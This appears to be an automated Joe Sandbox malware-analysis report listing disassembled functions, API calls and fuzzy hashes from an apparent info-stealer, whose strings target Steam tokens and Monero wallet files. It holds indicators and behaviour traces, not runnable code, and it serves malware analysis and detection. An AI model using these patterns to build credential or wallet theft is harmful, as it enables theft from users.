Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e28e2ddde83b674ee4c51cf1a604f8c2c2c35b90247b3fa59f11271d5e6694b7
Instruction ID: 8bc11997b1e5d1f2327edadd3fe7087c7aaa320107c0cd0de5b6ea207e5288e0
Opcode Fuzzy Hash: e28e2ddde83b674ee4c51cf1a604f8c2c2c35b90247b3fa59f11271d5e6694b7
Instruction Fuzzy Hash: 706158B4D00249DFCF18CF95E988BEEBBB4BB54384F108598E46967280D735AE84DF91

Function 005F5100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA820: lstrlen.KERNEL32(005E4F05,?,?,005E4F05,00600DDE), ref: 005FA82B
Part of subcall function 005FA820: lstrcpy.KERNEL32(00600DDE,00000000), ref: 005FA885

lstrlen.KERNEL32(00000000,00000000,00600ACA), ref: 005F512A

Strings

steam_tokens.txt, xrefs: 005F513F

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 738317e44fb6fe4d046b3191288dcf0ecc1fafc5d30996129728f9a2642ed9e3
Instruction ID: d175192accc89119f5e6f4608fbbfc75f156314fc29922070b64702b0b4e1840
Opcode Fuzzy Hash: 738317e44fb6fe4d046b3191288dcf0ecc1fafc5d30996129728f9a2642ed9e3
Instruction Fuzzy Hash: 94F0FBB191010D66DB08F7B0DC5ADFD7B3CBB94340F404169BA9A62092EF386619C6A7

Function 005F7ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00600E2C), ref: 005F7F00
wsprintfA.USER32 ref: 005F7F16

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 2ff93bd972d5ad5ba8bee621f06d3a68319d8d27e6158c6a65636f244a194cfa
Instruction ID: 0fbe471bc9ce22a29665fe82cb7d5ad3d44fbe77a034193f42b018636dedec10
Opcode Fuzzy Hash: 2ff93bd972d5ad5ba8bee621f06d3a68319d8d27e6158c6a65636f244a194cfa
Instruction Fuzzy Hash: 77F090B1A4420CEBCB14CF84DC45FBAFBBCFB48B24F004669F61592280D77969048BE5

Function 005EB4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

lstrlen.KERNEL32(00000000), ref: 005EB9C2
lstrlen.KERNEL32(00000000), ref: 005EB9D6

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: ab9b78db528ce8862101d288b8a2c37e9438545efcb756b55358275ea84532a0
Instruction ID: 357a88de8bf4565669c0abc32bf96f2d22e25984788f84dc6409dc165d18e0a5
Opcode Fuzzy Hash: ab9b78db528ce8862101d288b8a2c37e9438545efcb756b55358275ea84532a0
Instruction Fuzzy Hash: 79E1E2B281011D9BDB18EBA0CD5ADFE7738BF94340F404169F60A67095EF786A49CB63

Function 005EAEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

lstrlen.KERNEL32(00000000), ref: 005EB16A
lstrlen.KERNEL32(00000000), ref: 005EB17E

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: c27e0b5b3681d71896a0ad63ac2e0de1f076b4d197e011b1ec2e928a7b222c53
Instruction ID: 6a684ee799f78cdc5939c4723ed11635b9ad8e6130c50b9248b7c3a985b215fe
Opcode Fuzzy Hash: c27e0b5b3681d71896a0ad63ac2e0de1f076b4d197e011b1ec2e928a7b222c53
Instruction Fuzzy Hash: 769104B291010D9BDB18EBA0DD59DFE7738BF94340F408169F60A67095EF786A09CB63

Function 005EB230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

lstrlen.KERNEL32(00000000), ref: 005EB42E
lstrlen.KERNEL32(00000000), ref: 005EB442

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 2201b305c0429c5e2677c49ca14c5b488688207c86df23f2b41b5fd5b0cb3e5c
Instruction ID: c0cbbaba9032d2e8415a791dfd67a76ba5beeb3bafa11c8e2e78d71003255cfa
Opcode Fuzzy Hash: 2201b305c0429c5e2677c49ca14c5b488688207c86df23f2b41b5fd5b0cb3e5c
Instruction Fuzzy Hash: F07132B191010D9BDB18EBA0DD5ADFE7739BF94340F404528F60AA7095EF786A09CB63

Function 005F4BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005F8E0B

lstrcat.KERNEL32(?,00000000), ref: 005F4BEA
lstrcat.KERNEL32(?,0140FE40), ref: 005F4C08

Part of subcall function 005F4910: wsprintfA.USER32 ref: 005F492C
Part of subcall function 005F4910: FindFirstFileA.KERNEL32(?,?), ref: 005F4943

Part of subcall function 005F4910: StrCmpCA.SHLWAPI(?,00600FDC), ref: 005F4971
Part of subcall function 005F4910: StrCmpCA.SHLWAPI(?,00600FE0), ref: 005F4987
Part of subcall function 005F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 005F4B7D
Part of subcall function 005F4910: FindClose.KERNEL32(000000FF), ref: 005F4B92

Part of subcall function 005F4910: wsprintfA.USER32 ref: 005F49B0
Part of subcall function 005F4910: StrCmpCA.SHLWAPI(?,006008D2), ref: 005F49C5
Part of subcall function 005F4910: wsprintfA.USER32 ref: 005F49E2
Part of subcall function 005F4910: PathMatchSpecA.SHLWAPI(?,?), ref: 005F4A1E
Part of subcall function 005F4910: lstrcat.KERNEL32(?,01410A70), ref: 005F4A4A
Part of subcall function 005F4910: lstrcat.KERNEL32(?,00600FF8), ref: 005F4A5C
Part of subcall function 005F4910: lstrcat.KERNEL32(?,?), ref: 005F4A70
Part of subcall function 005F4910: lstrcat.KERNEL32(?,00600FFC), ref: 005F4A82
Part of subcall function 005F4910: lstrcat.KERNEL32(?,?), ref: 005F4A96
Part of subcall function 005F4910: CopyFileA.KERNEL32(?,?,00000001), ref: 005F4AAC
Part of subcall function 005F4910: DeleteFileA.KERNEL32(?), ref: 005F4B31

Part of subcall function 005F4910: wsprintfA.USER32 ref: 005F4A07

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 9b62cfe70cb0edd56033e995d9efe48ed27ef5975e41ed3d3eacbdf078613a63
Instruction ID: 066af6d3892f258624322a1d32ee1bf2fe5bc797218b4cda6142ddf9908a21a4
Opcode Fuzzy Hash: 9b62cfe70cb0edd56033e995d9efe48ed27ef5975e41ed3d3eacbdf078613a63
Instruction Fuzzy Hash: D541BAB75002046BD768F7A0EC4AEFE373DBBC4700F00C549B69A56186EE755B898F92

Function 005E6660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 005E6706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 005E6753

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
